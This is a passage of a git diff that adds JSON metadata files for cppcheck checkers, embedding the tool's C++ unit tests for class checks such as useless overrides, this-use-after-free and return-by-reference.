B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/privateFunctions.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/privateFunctions.json new file mode 100644 index 0000000..5b5955f --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/privateFunctions.json @@ -0,0 +1,13 @@ +{ + "name": "privateFunctions", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 46, + "branches": 18, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/thisSubtraction.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/thisSubtraction.json new file mode 100644 index 0000000..2bffbc6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/thisSubtraction.json @@ -0,0 +1,22 @@ +{ + "name": "thisSubtraction", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 14, + "branches": 4, + "apis": 11, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 3628 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n 